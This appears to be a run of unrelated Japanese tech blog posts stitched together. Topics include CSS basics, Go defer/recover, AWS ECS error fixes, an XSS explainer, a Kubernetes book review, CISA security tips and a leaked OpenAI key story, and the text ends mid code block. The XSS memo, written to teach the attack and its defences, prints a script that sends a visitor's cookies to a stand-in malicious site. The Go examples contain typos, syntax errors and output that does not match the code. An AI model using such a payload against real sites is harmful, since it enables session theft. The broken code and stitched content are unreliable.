/ base
/* ----------------------------- */
baseは共通する項目：html{}、body{}、ul{}、a{}、.section-wrapper{}、.section-inner{}、.section-title{}を下記のように指定していく
html{
font-size: 62.5%;
}
body{
font-size: 1.6rem;
font-family: 'Montserrat', 'Noto Sans JP', sans-serif;
color: #152a52;
line-height: 1.7;
letter-spacing: .05em;
}
ul{
list-style: none;
}
img{
width: 100%;
vertical-align: bottom;
}
a{
text-decoration: none;
}
.section-wrapper{
padding: 80px 0;
}
.section-inner{
max-width: 960px;
margin: 0 auto;
padding: 0 20px;
}
.section-title{
font-size: 3rem;
font-weight: bold;
text-align: center;
margin-bottom: 50px;
}
他は、headerとfooterのcssの記述、kv-visualのcss記述、aboutやserviceのcss記述も同様にしていく

・使ってみるの「＃」はページ内のリンクを示しているとあるが、意味がわからない。
もっと意味と使い方を調べてみようと思う。
・
はじめまして

# 自己紹介

## はじめに
こんにちは！dark6manと申します．  
この名前は私の大好きなロックマンエグゼのキャラからとっています．  
勉強記録をアウトプットしていくためにQiitaを始めました．  
今後、アプリ開発を通してITシステム全体を見渡せるようになりたいです！  


社会人2年目(2024年現在)の私のITスキルは以下になります．  

### 資格について
- 応用情報技術者（院生のときに取得）
- 情報処理安全確保支援士 受験（2024年秋の結果待ち）
- IoTシステム技術者検定中級 （大学生のときに研究でIoTをやることになったので取得）
- AWS CLF（2023年取得）

### スキル
- 2023年：大学院修士課程修了（機械工学）
- python（大学の研究で毎日使っていた．機械学習やデータ分析など）
- Powershell（インフラエンジニア必須）
- HTML、CSS、Javascript（ドットインストールで講義を受けて、模写サイトを何個か作成）

ざっとこんなところでしょうか．
プログラミングは職場の中ではできるほうなので、大事に伸ばしていきたいですね．

そして今後身に着けたいスキルや資格はこんな感じです．
### 身に着けたいスキル
#### インフラエンジニア
- AWS、Azure、GCPなどの有名クラウド
- Docker
- CCNA
- ネスペ
#### その他
- React
- TypeScript
- Django
- Rust
- MongoDB、MySQL

立派なエンジニアになれるように頑張ります！！
Goについて新たに学んだこと

### deferとは
関数が終了する直前に実行される処理を登録するためのGoのキーワード．
エラーハンドリングやリソースの解放等，後で必ず実行したい処理を指定するために用いられる．

#### `defer`の基本仕様
**構文**: defer <関数呼び出し>
**タイミング**: `defer`を指定した関数は，その関数が終了する直前に実行される．プログラム内で複数の`defer`を登録すると，後から登録したものが先に実行される(LIFO: 後入れ先出し)．

#### `defer`の用途
**1. ファイルやネットワークリソースの解放:** ファイルやデータベース接続，ネットワークリソースなど，使い終わったら閉じなければならないリソースを解放する際に使われる．
**2. エラーハンドリング:** パニック(異常終了)からのリカバリ(復旧)や，必ず実行するべき処理を定義する際に便利．
**3. ロックやアンロック:** 同時に実行されるプログラム(並行処理)でロックやアンロックを設定する場合，`defer`でアンロックを後に予約しておくことで，誤ってロックを外し忘れるリスクを防げる．

#### 具体例1

```go
func example() {
    defer fmt.Println("CleanUp!") // (1): deferでfmt.printlnを宣言
    panic("Something terrible happened!") // (2): 強制終了
    fmt.Println("Never reaches here") // (3): 実行されない
}

func main(){
    defer ft.Println("main: CleanUp!") // (4)
    example() // (5)
    fmt.Println("Never reaches here") // (6)
}
```

出力例:
```shell
CleanUp!
main: CleanUp!
panic: Something terrible happened!
```

#### `defer`が実行されないパターン
 - プログラムが`os.Exit()`で強制終了される
 - OSからのsigkillシグナルでプログラムが強制終了される場合
 - システムがクラッシュする場合

### `recover`関数について
Goにおいてパニック状態をキャッチして，プログラムが異常終了せず回復できるようにするための関数．
主にエラーハンドリングやプログラムの安定性を確保するために使われる．

#### `recover`の仕様
**使い方:** `defer`文内の関数のみ
**戻り値:** 
 - **if** `panic`が発生していない **then** return `nil`
 - **if** `panic`が発生している **then** return その`panic`で渡された値

```go
func example() {
    defer func() {
        if err := recover(); err!= nill {
            fmt.Println("Recovered from panic:", err)
        }
    }()
    panic("something went wrong") // パニックを発生させる
}
```

#### `recover`の役割
**1. パニックからの回復:** `panic`が発生すると通常はプログラムがクラッシュし，すべての処理が停止するが，`recover`を使えばパニック状態から回復してプログラムを続行できる(異常終了を避け，エラー情報をログに残してから適切に処理を行うなど)．
**2. エラーメッセージの取得:** `panic`により送られたメッセージやエラーを取得することができるため，エラーの詳細を把握し，ログに出力したり，ユーザーにフィードバックを提供することができる．
**3. 安定性の確保:** サーバーやバッチ処理などで一部の処理がエラーになってもプログラム全体が停止しないようにすることができる．これによりプログラムの安定性が向上し，予期せぬエラーから復旧しやすくなる．

#### `recover`を使ったエラーハンドリングの例

```go
package main

import main

func riskyFunction() {
    defer func() {
        if err := recover(); err != nil {
            fmt.Println("Recovered from panic:", err)
        }
    }
    fmt.Println("Start risky function")
    panic("Something went wrong!") // パニックを発生
    fmt.Println("This line will not be executed")// 実行されない
}

func main() {
    fmt.Println("Program started")
    riskFunction()
    fmt.Println("Program continued after panic")
}
```

出力例:
```shell
Program started
Start risky function
Recovered from panic: Something wet wrong!
Program continued after panic
```
Resource handler returned message: "Error occurred during operation 'CreateCluster SDK error: Service Unavailable. Please try again later. の対処法

<h2>症状</h2>
ECSでクラスター作成時に下記のエラーが発生しました。

```terminal:error
クラスター blog-rails の作成中にエラーが発生しました。
Resource handler returned message: "Error occurred during operation 'CreateCluster SDK error: Service Unavailable. Please try again later. (Service: AmazonECS; Status Code: 500; Error Code: ServerException; Request ID: hoge-hoge; Proxy: null)'." (RequestToken: hoge-hoge, HandlerErrorCode: GeneralServiceException)
```

```terminal:翻訳
リソース ハンドラーが次のメッセージを返しました: 「操作中にエラーが発生しました 'CreateCluster SDK エラー: サービスは利用できません。しばらくしてからもう一度お試しください。(サービス: AmazonECS、ステータス コード: 500、エラー コード: ServerException、リクエスト ID: hoge-hoge、プロキシ: null)'」(RequestToken: hoge-hoge、HandlerErrorCode: GeneralServiceException)
```

<h2>解決方法</h2>
クラスターを一番最初に作成したときにだけ出るAWS側のバグらしいです

再度作成したら、解決しました


<h2>参考</h2>

https://qiita.com/kenryo/items/cdb8dc06f480f3dc0b57
XSSについてメモ

## はじめに


### XSS攻撃
webアプリケーションに悪意あるhtmlコードを埋め込み、ユーザーにそのwebアプリケーションを操作させることによってそのコードを実行させ、ユーザーのcookie情報を奪ったり、マルウェアに感染、攻撃者の用意したサイトへの誘導などをさせる攻撃。

### XSSがなぜ問題になるか
XSSの被害件数は増加傾向である。webアプリケーションの普及、脆弱性の対応の遅れなどが挙げられる。


## 格納型XSS

### 定義
ユーザーに悪意あるスクリプトを実行させることを目的として、ユーザーが使用するwebアプリケーションに用意したスクリプトを埋め込む攻撃。

### 例
1. 攻撃者が入力者フォームに悪意あるスクリプトを含むメッセージを投稿する。
     ``こんにちは！<script>document.location='http://悪意のあるサイト.com/steal.php?cookie='+document.cookie;</script>``

2. 脆弱性のあるwebアプリケーションはこのメッセージをデータベースに保存する。


3. ユーザーがwebアプリケーションを閲覧し、保存されたメッセージを含むページをユーザーに送信する。


4. ユーザーのブラウザでページが読み込まれ、悪意あるスクリプトが自動的に実行される。


5. 攻撃者はユーザーのCookieを取得して、なりすましでログインが可能になる。

### 対策
1. ユーザ入力のバリデーション。特殊文字や不正なスクリプトを含む入力を拒否したり無害化する。

2. データベースから取り出したデータをHTML出力する際に、<や>などの特殊文字を&ltや&gtなどのHTMLエンティティに変換する（エスケープ処理)

3. Content Security Policy(CSP）の実装
ブラウザに対してどんなリソースの実行を許可するかを指定できる。
    - これによって信頼できるソースからのスクリプトのみを実行できる。
    - インラインスクリプトの実行を拒否できる。

4. HTTPOnly Cookieの使用
JavaScriptからCookieへのアクセスを制限する。

## 反射型XSS

### 定義
ユーザーに不正なスクリプトを含むURLリンクをメールやSNS、SMSなどを通じて送り、誤ってそのリンクをクリックしたユーザーのPCから脆弱性のあるwebアプリケーションにリクエストが送られ、不正なスクリプトをそのまま含んだレスポンスがユーザーのブラウザで実行され、Cookie情報の窃取やマルウェアの感染、罠サイトへの誘導を行う攻撃。

### 例
1. 攻撃者が以下のような悪意あるスクリプト（以下スクリプト）を含んだURLをユーザーに送信する
    ``https://example.com/search?q=<script>alert('XSS攻撃!');</script>``
2. ユーザーは誤ってそのリンクをクリックする
3. Webアプリケーションにスクリプトを含んだリクエストが送られる
4. webアプリケーションからスクリプトを含んだレスポンスが返ってくる
5. ユーザーのブラウザでスクリプトが実行される
5. Cookie情報の窃取や罠サイトへの誘導、マルウェアの感染
    

### 対策
1.ユーザ入力のバリデーション。特殊文字や不正なスクリプトを含む入力を拒否したり無害化する。

2. データベースから取り出したデータをHTML出力する際に、<や>などの特殊文字を&ltや&gtなどのHTMLエンティティに変換する（エスケープ処理)

3. Content Security Policy(CSP）の実装
ブラウザに対してどんなリソースの実行を許可するかを指定できる。

4. これによって信頼できるソースからのスクリプトのみを実行できる。
インラインスクリプトの実行を拒否できる。

4. HTTPOnly Cookieの使用
JavaScriptからCookieへのアクセスを制限する。

5. ブラウザのX-XSS-Protectionヘッダーを有効にする

6. URLパラメータの検証
URLパラメータを使用する際は、その値を適切に検証しエスケープする

7. WAFの導入
既知のXSSパターンをブロック

8. エラーメッセージのカスタマイズ
詳細なエラーメッセージを表示せず、一般的なエラーページにリダイレクトする。



## 比較

### 比較表
|  | 格納型 | 反射型 |
|:-:|:-:|:-:|
| スクリプト実行タイミング | 悪意あるスクリプトを格納したWebアプリケーションにユーザーがアクセスした時 | リンクをクリックしてサーバーからのレスポンスが返ったとき |
| 対象となる脆弱性の所在  | ユーザーの入力を保持しあとで実行する機能  | ユーザーの入力をそのまま出力する部分 |
| 影響範囲 | サイトを利用するすべてのユーザーに被害を与える。| 個別のユーザーを標的とする。  |

## 所感
今まで格納型XSSの方が攻撃者にとって簡単だと思っていたが、悪意あるスクリプトを含むコードをWebアプリケーションで保持させる必要があるため、格納型XSSの方が難しいことに気づけた。次は実際にコードを動かして更なる理解の定着に努めたい。
クラスター には同じ名前の CloudFormation スタックが既に存在します。別の Infra-ECS-Cluster-blog-rails-c5ebf5b2 の名前を選択するか、CloudFormation コンソールから クラスター スタックを削除してくださいの対処法

<h2>症状</h2>
クラスターを作成しようとしたとき下記のエラーが発生しました

```terminal:error
リクエストは失敗しました
障害が発生した クラスター には同じ名前の CloudFormation スタックが既に存在します。別の Infra-ECS-Cluster-blog-rails-c5ebf5b2 の名前を選択するか、CloudFormation コンソールから クラスター スタックを削除してください。
```

<h2>解決策</h2>
エラーメッセージどおり、CloudFormationで、失敗しているクラスターを選択し削除したら解決しました

<h2>参考</h2>

https://repost.aws/ja/knowledge-center/ecs-cluster-delete-failure-stack
【書評】Kubernetesの知識地図

## 読んだ本

https://gihyo.jp/book/2023/978-4-297-13573-7

## 感想

今携わっているプロジェクトでk8sを使用している。「作って壊して〜」を読んだり、実践で調べていったりする中でギリギリ運用で困らない範囲の習得ができているかなという所までは持ってこれた。その先を考えると、今の運用方法は一般的なのか、どんな改善の余地があるのかが気になり始め、本書を読み始めた。

本書はタイトルに地図とある通り、k8sにまつわる知識を広く浅く俯瞰できる。浅くと言っても、Docker周りの基本的な知識から記載されていて初心者でも入りやすいし、応用に関してはWebサイトのリンクが記載されていたりと深堀りする方法まで丁寧に案内されていてありがたかった。

第一章ではk8sの基本が、第二章ではマニフェストなどアプリケーションのデプロイなどがまとまっている。第三章ではGitOpsなどより実践的な運用周りを知ることができ、最後の第四章ではスケーリングや監視など業務で使うには必要になってくる知識を学ぶことができる。

すごくざっくりだが脳内にk8s周辺知識のインデックスが貼れた感覚になれた。最近は大規模にk8sを使用している会社だとk8s-kitや、yamlではなくcueを使用したマニフェスト管理をしているらしい。この辺は追加でキャッチアップしておきたい。

## おすすめの人

- 業務でk8sを触っているが、全体がよくわかっていない人

## 次に読むなら

- 「つくって、壊して、直して学ぶ Kubernetes入門」読んでいないなら具体的な挙動や仕組みが学べるのでおすすめ
【論文読み】有価証券報告書からの経営者による経営環境と企業業績に関する因果認知の抽出

## はじめに
こんにちは。論文を読んだ結果の紹介記事です。  
今回紹介するのは、「有価証券報告書からの経営者による経営環境と企業業績に関する因果認知の抽出」という論文です。  

- タイトル： 有価証券報告書からの経営者による経営環境と企業業績に関する因果認知の抽出
- 出典： 陳 穎, et al.; 人工知能学会第二種研究会資料 2024    
- URL： https://www.jstage.jst.go.jp/article/jsaisigtwo/2024/FIN-033/2024_163/_article/-char/ja


## 概要
本研究の目的は、経営者の認知パターンを定量化するために、有価証券報告書から因果関係を抽出し分類することである。  
日本の有価証券報告書から経営者の CCBizEnv（Causal Cognition of Business and Environment）を抽出するために、ファイナンスの専門家によるアノテーションが付けられたデータセットを作成した。この方法は、事前に設定された「手がかり」を用いて因果関係に関する文を抽出し、CC-BizEnv でファインチューニングされた事前学習済み自然言語モデル（Pre-trained LanguageModel; PLM）が、ファイナンスのテキストから「内部要因」「外部要因」「ポジティブな結果」「ネガティブな結果」を分類する。  
本研究では、知識レベルが異なる専門家によるアノテーションと、LLM を用いたアノテーションのファインチューニング効果を比較した。その結果、豊富なアノテーション経験と高度な専門知識を持つアノテーターによって作成された教師データで学習済みモデルは、アノテーションの経験がなく、ファイナンスの基礎知識を持つアノテーターやLLM によって作成された教師データで学習済みモデルに比べ、より高い分類精度を示した。また、CC-BizEnv でファインチューニングされた BERT は、他の PLM と比較して、因果関係の認識において優れた性能を示すことが分かった。


## 特徴
- データセットCCBizEnvを以下の方法で作成した。  
    - フィルタリング手法  
    　因果関係の存在を示す「手がかり」表現（四つの因果関係パターン）に該当する文を抽出する。  
    - アノテーション  
    　初心者2名がアノテーション後、熟練者1名が確認する。  
        - ファイナンスの基礎知識を持っているが、アノテーションの経験がない初心者２名  
        - 高度な専門知識を持ち、30k 件以上のアノテーション経験がある熟練者1名  

- 文での「内部要因」「外部要因」「ポジティブな結果」「ネガティブな結果」の分類精度の評価
    - BERTのファインチューニングの手法とほかの手法(ELECTRA, LSTM, Bi-LSTM-CRF)を比較し、BERTの分類精度のF1スコアが最も良い結果となった。  
    - 人手で作成したデータセットCCBizEnvと、大規模言語モデル(Claude-3.5-Sonnet, GPT3.5-Turbo, GPT-4o)を比較し、CCBizEnvのF1スコアが最も良い結果となった。  


## 所感
- Claude-3.5-SonnetやGPT3.5-Turboによるアノテーションのデータセットによるファインチューニングより、GPT-4oの分類精度が悪い結果が意外だった。完全に自動でのアノテーションではなく人手によるチェックを入れるなどが必要と思われる。


## 想定される適用例
- ファイナンスの分野のテキスト中から、精度の高い経営者の因果認知を抽出する。


## 参考
- [有価証券報告書からの経営者による経営環境と企業業績に関する因果認知の抽出](https://www.jstage.jst.go.jp/article/jsaisigtwo/2024/FIN-033/2024_163/_article/-char/ja)
Pythonの改良型の新しい言語の提案

#### pythonの改良型の新しい言語の提案

pythonは、ステートメントと式が分かれていて、インデントブロックで区切るので、
eval関数で命令を処理できない。(exec関数で処理できるが、インデントの処理が煩い)
命令も全て式とすれば、eval関数で処理できる美しい言語ができる。
CとLISPとPythonを元にして。
CとLISPとPythonのあいの子の書きやすい平易な記述版と思ってくれればよいです。

自分自身をデータとして取り扱えればなお良い。

### デザイン草稿 [

式; :: 式; 式;

a = while b == c { 式; 式; }; /* 実行して値を返す \*\/
a = 'while b == c { 式 };';　/* 文字列 \*\/

関数定義は、
a=def func(x,y) { 式 };

マクロ定義は、
a=mac MACRO(X,Y) { (X+Y)*100 };

クラス定義は、
a=class Player { def \_\_init\_\_(self, x) { self.x = x; def func(y) { 式 }}

whileも、defも、macもclassも値を持つ。

自分自身の参照は、
a = 'a'
a = 'a; b;'

a = 'while { 式 };';
eval(a)；でaの実行、値を返す。

｝のあとの;は省略可。

a = [ 1 2 3 ]；　でvector。リストを扱えると良い。

a = load('filename'); /* 自分自身やファイルをデータとして取り扱う。 \*\/
eval(a);
まとめると、
eval(load('filename'));

a=load('filename')    /* aにファイルの内容を格納する \*\/

include('filename'); は　eval(load('filename'));　と等価。

while b==c { 式; 式； }は最後に評価された式の値
while b==c { 式1; } then 式2;は正常終了した場合式2の値　/* Pythonはループ正常終了時のelseとthenが逆なので \*\/

b==cは式で置き換えられる

{ 式; }は、式;

ブロックは、{}で記述
{ 式1; 式2; 式3; } ブロックの値は最後に評価された式の値。分岐がないと式3の値

例えば、
{ 式1; if 式2 then 式3 else 式4 }の値は、式2が真の場合式3、式2が偽の場合は式4
{ switch 式1 { case 式2: 式3 case 式4: 式5 case 式6: 式7 default: 式8 } } は、
式1と式4が等しい場合、switchもブロックも式5の値

チューリング完全で。
書きやすさと美しさの妥協点。
マクロもひっくり込める。

・動的型付けがよい。動的型付けだとバグが出やすいが、書きやすいので。いやしかし、静的型付けの方がコンパイラを書きやすいし、バグが出にくいので、静的型付けのほうが優秀。

・ネイティブコードコンパイラ付きで。ネイティブコードコンパイラ付きだと、プログラムをデータとして扱う場合と動的型付けをする場合、難しくなるので、中間コードコンパイラでも良いかも知れない。


関数の中で関数定義可にして、クラスの中でクラス定義可にして、マクロの中でマクロ定義可にして。
オブジェクト指向も書けるようにして。

スクリプト言語として複数行にまたがる記述も可能にして。

Pythonみたいに初心者も書きやすく。

内包表記も扱えるようにして。
なるべく使わないが、gotoありで。
インデントブロック区分はなしにして。
式だから、書くフォーマットは自由で。
手続き型、関数型、オブジェクト指向型言語の記述もできるように。

エラー処理、Noneの処理もきれいにして。

### ] デザイン草稿end

LISPほど美しくはならないが、記法として存在してほしい。
string処理を強力にして、データとしての式を加工しやすくする。

参考：

https://zenn.dev/fygar256/articles/d442ce0ca6a2d3

LISPはストリング処理がちょっと弱いような気がします。LISPは完全です。

これが完全なプログラミング言語の一つのモデルの提案です。

手続き型+関数型+オブジェクト指向型、構造化言語の完成された、もっと良い言語処理系がありそうです。探しています。情報を提供していただければ幸いです。どうもこういうのも既にありそうやねえ。

これでできるらしいけど、Pythonでは余計なものがついている。これは、ストリング処理はどうなるのだろうか。

https://qiita.com/t-sin/items/662b055447ec87476384
2024年10月に CISAが世界中の一般人にお願いした、たった4つのサイバーセキュリティ対策

# 概要

- CISA(サイバーセキュリティ・社会基盤安全保障庁)は、米国連邦政府のサイバーセキュリティを担当する行政機関です
- そのCISAは、2024年10月をサイバーセキュリティ啓発月間とし、「世界を安全にする」ために、世界中の全ての個人に対して4つのサイバーセキュリティ対策を行うよう呼びかけています
- この記事では、その4つのサイバーセキュリティ対策について紹介します
- この記事を読んでいる方は、社会通念上の観点ではコンピューターに詳しい人と周囲から認識されていると思います。一般のITリテラシーの決して高くない方々からパソコンやスマホのセキュリティ対策どうしたらいいの？と聞かれたらこれら4つのことを伝えると良いと思います

# 一次資料

この記事の元になっているCISAの記事は以下のURLから参照できます
[CISA Kicks Off 21st Anniversary of Cybersecurity Awareness Month](https://www.cisa.gov/news-events/news/cisa-kicks-21st-anniversary-cybersecurity-awareness-month)

# CISAが世界中の個人に対して行ってほしいと願う、たった4つのサイバーセキュリティ対策

CISAが世界の一般の人々にこれだけはやってほしいと推奨する4つのサイバーセキュリティ対策は以下のとおりです

## 1. 強度のあるパスワードを使ってください

:::note info
**強度のあるパスワードを使ってください**。強度のあるパスワードとは、文字数が長く、ランダムで、使いまわされていないパスワードのことです。そして**パスワードマネージャ**を活用して強度のあるパスワードを生成し保全してください。
:::

> 原文
> **Use strong passwords** that are long, random, and unique to each account, and use a **password manager** to generate them and to save them.

## 2. 多要素認証を有効にしてください

:::note info
**多要素認証を有効にしてください**、そのアカウントの認証で多要素認証が備わっているなら。電子メール、ソーシャルメディア、そして金融サービスといった最も重要なアカウントにおいては、パスワード認証以上のもの、すなわち多要素認証が必要です。
:::

> 原文
> **Turn on multifactor authentication** on all accounts that offer it. We need more than a password on our most important accounts, like email, social media, and financial accounts.

## 3. フィッシング詐欺に騙されないよう留意し、見つけたら報告してください

:::note info
**フィッシング詐欺に騙されないよう留意し、見つけたら報告してください**。よく言われているように、クリックする前によく考えてください。個人情報を求めてくるような迷惑なメールやメッセージ、電話に注意してください。不審なリンクや添付ファイルをクリックしたり開いたりしないでください。
:::

:::note warn
これは米国の行政機関によるメッセージですのが、日本にお住まいの方は、フィッシング詐欺対策や報告については下記サイトを参考にしてください
- [フィッシング対策協議会 - フィッシングの報告](https://www.antiphishing.jp/registration.html)
- [警察庁 - フィッシング対策](https://www.npa.go.jp/bureau/cyber/countermeasures/phishing.html)
- [(一社)日本クレジット協会 - フィッシング詐欺被害に遭わないための注意事項](https://www.j-credit.or.jp/customer/attention/attention_02.html)
:::

> 原文
> **Recognize and report phishing**, as we like to say, think before you click. Be cautious of unsolicited emails or texts or calls asking you for personal information, and don't click on links or open attachments from unknown sources.

## 4. ソフトウェアアップデートを実行してください

:::note info
**ソフトウェアアップデートを実行してください**。具体的には、ソフトウェアの自動更新を有効にして、最新のセキュリティパッチを適用し、PCやスマホ、タブレット端末などのソフトウェアを最新の状態に保ってください。
:::

> 原文
> **Update software**. In fact, enable automatic updates on software so the latest security patches keep devices we are connected to continuously up to date.
私のOpenAIのクレジットが不正利用された話

すごいヘマをしてしまったので自分への戒めとともに注意喚起です。

ChatGPTなどで使われるLLMを呼び出すことができるAPIトークンを日頃から使っているのですが、使っていないはずの期間なのに気づいたらそのクレジット(使用できる残高)がゼロになっていました...。
![スクリーンショット 2024-11-02 20.33.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2708192/b39a6599-5de4-83ab-78f6-5d536c18e8d6.png)

原因としては、APIトークンを誰からでも見える場所に置いてしまっていたことです。

Hugging Face Spacesで公開しているアプリの内部でOpenAIのAPIを呼び出していたのですが、非公開の「Secrets」の欄と間違えて公開されてしまう「Variables」の方にトークンを格納してしまっていました...。

![スクリーンショット 2024-11-02 20.28.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2708192/1fa5f3e3-a3a6-f96d-1c19-256e721e0b3c.png)

幸い、被害額は大体５ドルくらいなので大したダメージではなかったのですが、
もしクレジットのオートチャージ機能をオンにしていたらと考えるとゾッとします🥶
さらには、自分のトークンではなくて、会社とかお客さんのやつだったらもっとヤバいことになっていたでしょうね。(その場合って懲戒解雇とかになるのでしょうか？)

 そういえばOpenAIのAPIの管理ページをみたら、もしトークンの不正利用が検出されたらそのトークンは使えないようにするよ〜って書かれていたのですが、その検出にも引っ掛からなかったんですかね...。
 いやここでOpenAIさんを責めるのは責任転嫁です。
 ただただ自分の管理が甘かったことを悔いるばかりです。

しかし前向きに考えれば、たった５ドルくらいでこれだけの危険意識を脳に刻み込めたので、今回に関しては儲け物だったかもしれませんね笑
PodにマウントしたAzure Blob storageに変更が反映されない問題の解決方法

# 背景

例として以下のような状況を想定します：

**PodのストレージとしてAzure Blob storageをマウントし、ファイルの更新や追加を行いたい。しかし、Pod内では更新もファイル作成もできているのに、Azure portal上で確認すると変更が何一つ反映されていない。複数Podをマウントした場合でも、Pod同士で互いの変更を確認することができない。**


:::note info
接続に用いるプロトコルはNFSとします。
:::

# 解決方法

PersistentVolumeやStorageClassの`mountOptions`に以下の3オプションを設定することで正しく反映されるようになりました。

```
mountOptions:
- --use-attr-cache=false
- --file-cache-timeout-in-seconds=0
- -o direct_io=true
```

# 参考リンク

- [AKS mount out of sync - GitHub](https://github.com/Azure/azure-storage-fuse/issues/1139)
直近のAtCoder Beginner Contestにリダイレクトするスクリプトを作った

# AtCoder-RedirectRecentABC
直近のAtCoder Beginner Contestに直接アクセスしたい場合にどうぞ。
https://greasyfork.org/ja/scripts/508772-atcoder-redirectrecentabc

## 🔨 使い方
このスクリプトを入れた状態で、    
[https://atcoder.jp/contests#recent_abc](https://atcoder.jp/contests#recent_abc)    
にアクセスすると、直近のAtCoder Beginner Contestのページにリダイレクトされます。    
### 直近のAtCoder Beginner Contestとは
1. 開催中のABCがある場合、そこにリダイレクトします
2. 開催中のABCがない場合、「予定されたコンテスト」の中で、最小の番号のABCにリダイレクトします
3. 1.2.両方を満たさない場合、リダイレクトしません。

### Diffオプション
[https://atcoder.jp/contests#recent_abc-1](https://atcoder.jp/contests#recent_abc-1)
とすると、直近一つ前のABCにリダイレクトされます。
土曜日に行ったABCを復習したい場合にどうぞ。
matplotlibのfont_managerを使った話

## 背景
matplotlibで日本語を含んだグラフをプロットしようとしたら、日本語だったので文字化けで表示されなかった。（お決まりすぎるｗ）
毎回調べるのも、バカらしくなってきたので備忘として残します。

## どのように解決したか！？
下記をプロットする前のコードに足しました。
※Windowsならこのままコピペでそのまま使えます！
```python
import matplotlib.font_manager as fm

font_path = r'C:/Windows/Fonts/meiryo.ttc'  # メイリオのパスを指定
font_prop = fm.FontProperties(fname=font_path) # プロパティにて設定
```

もし現在設定されているデフォルトフォントを確認したい場合
```python
import matplotlib.pyplot as plt

plt.rcParams['font.family'] = font_prop.get_name()
```

詳細は下記を参照してみてください。
https://matplotlib.org/stable/api/font_manager_api.html#matplotlib.font_manager.FontProperties

以上、簡単でしたね。
マネジメントのための英会話フレーズ集

# 1. プロジェクトの進捗確認

- Could you give me a quick update on your current tasks?
現在のタスクについて簡単に進捗を教えてもらえますか？

- How are things going with the [project name] project?
[プロジェクト名]プロジェクトの進捗はどうですか？

- Is there anything you need from me to help move things along?
進行を助けるために私が提供できるものはありますか？

- Do you foresee any challenges or blockers in the next stages?
次のステージで予想される課題やブロッカーはありますか？

# 2. サポートとモチベーション

- Let me know if there’s anything I can do to support you.
支援が必要な場合は教えてください。

- You’ve been doing a great job with this project. Keep up the good work!
このプロジェクトで素晴らしい仕事をしていますね。引き続き頑張ってください！

- I appreciate your dedication to solving complex problems. It’s making a difference.
複雑な問題を解決する姿勢に感謝しています。確実に効果が出ています。

- Your expertise is invaluable to the team; thank you for your contributions.
あなたの専門知識はチームにとって非常に重要です。貢献に感謝します。

# 3. フィードバックの提供

- I wanted to share some feedback on your recent work. Overall, it was very well done.
最近の仕事についてフィードバックしたいと思います。全体的にとても良くできています。

- There are a few areas we could improve upon, particularly in [specific area].
特に[具体的な領域]において、改善できる点がいくつかあります。

- Let’s discuss how we might approach this differently next time.
次回は異なるアプローチを考えてみましょう。

- Great job on handling [specific task]. Your approach was very effective.
[特定のタスク]をよく対応してくれました。アプローチが非常に効果的でした。

# 4. チームワーク・コラボレーション促進

- Let’s schedule a team meeting to brainstorm ideas and align on our goals.
アイデアを出し合い、目標を共有するためにチームミーティングを設定しましょう。

- How’s the collaboration going with the other teams on this project?
このプロジェクトで他のチームとの連携はうまくいっていますか？

- Could you document your process for the team? It will be helpful for future reference.
チームのためにプロセスをドキュメントにまとめていただけますか？将来的に役立つと思います。

- Please coordinate with [team member] to ensure smooth hand-offs.
[チームメンバー]と連携して、スムーズな引き継ぎができるようにしてください。

# 5. プロジェクトの計画と優先順位の確認

- Let’s go over our priorities for the next sprint to make sure we’re aligned.
次のスプリントの優先事項を確認して、一致しているか確認しましょう。

- Can we break down this project into smaller milestones for better tracking?
このプロジェクトを小さなマイルストーンに分けて、進捗をより追跡しやすくできますか？

- Please focus on [priority task] for now, and we’ll revisit the other tasks later.
現在は[優先タスク]に集中して、他のタスクは後で再度見直しましょう。

- Let’s review our timeline and adjust if necessary.
タイムラインを確認し、必要に応じて調整しましょう。

# 6. フィードバックと改善策の議論

- Let’s review the last project and identify areas for improvement.
前回のプロジェクトを振り返り、改善点を確認しましょう。

- I’d love to hear your thoughts on what worked well and what didn’t.
うまくいった点とそうでない点について、あなたの意見を聞かせてください。

- Do you have any suggestions on how we can improve the process?
プロセスを改善するための提案はありますか？

- Your insights are valuable, and I want to make sure we’re constantly improving.
あなたの意見は貴重であり、常に改善を心がけたいと思っています。
【備忘】Pythonのコンテキストマネージャーネストをワンライナーで書く方法

# はじめに

Pythonでコンテキストマネージャーのネストをワンライナーにできることを知ったので備忘として残しておきます。

## ネストされた通常の書き方

```python
with open('input.txt', 'r') as input_file:
    with open('output.txt', 'w') as output_file:
        print("何かの処理")
```

## ワンライナーでの書き方

```python
with open('input.txt', 'r') as input_file, open('output.txt', 'w') as output_file, open('log.txt', 'a') as log_file:
    print("何かの処理")
```

# 注意点
- Python3.1以降でのみ利用可能
最新版ParserScript 3.0でさらに簡潔に式のマッチングを行う

:::note warn
現在、ParserScriptは非推奨です。
:::
前回

https://qiita.com/mu-MueLangDeveloper/items/a2b701b0dea3cf622ee5

にて、式のマッチングをParserScript 2.0で行ったのですがバージョン3.0を公開したので、そのバージョンでもう一度マッチングを行いたいと思います。

https://github.com/MueLangDeveloper/ParserScript-Ver.3.0

# ParserScript 3.0の新コマンド
　ParserScript 3.0では新しいコマンドが大きく分けて3つ追加されました。
　詳しくは[こちら](https://qiita.com/mu-MueLangDeveloper/items/f07e082fa2056a0fa8e5)を見てください。
# 式のマッチング
　では早速そのコードを書きます。
```prs
ESCAPE ' '
CALL EXPRESSION
AST FACTOR
    VRECORD ""
    CSREGEX MATCH "((-)?[0-9]+(\.[0-9]+))"
    NOMATCH?
        BREAK
        VRECORD ""
        MATCH "("
        CALL EXPRESSION
        MATCH ")"
    END
    DOWNPUSH
LAST
AST TERM
    CALL FACTOR
    VRECORD ""
    SET
    CSREGEX MATCH "(\*|/)"
    CALL FACTOR
    MATCH?
        JUMP
    END
    DOWNPUSH
LAST
AST EXPRESSION
    CALL TERM
    VRECORD ""
    SET
    CSREGEX MATCH "(\+|-)"
    CALL TERM
    MATCH?
        JUMP
    END
    DOWNPUSH
LAST
```
まあ、こんな感じです。バージョン2.0よりも129文字短いです。
# 終わりに
　さらに使いやすくなったParserScript 3.0でもまだまだ改良の余地があります。~~もっと文法が厳しく安全な3.1が完成するのをお楽しみに。~~ 後継言語の開発決定により開発終了。
ParserScript 3.0の概要

:::note warn
現在、ParserScriptは非推奨です。
:::
  ParserScriptはバージョン2.0から大きく分けて新たに3つ（実質2つ）のコマンドが追加されました。
# CSREGEXコマンド
　このコマンドには3つ機能があります。と言っても、実質2つだけです。
### CSREGEX MATCHコマンド
　例:　以下のコードは、実数にマッチするようになっています。
```prs
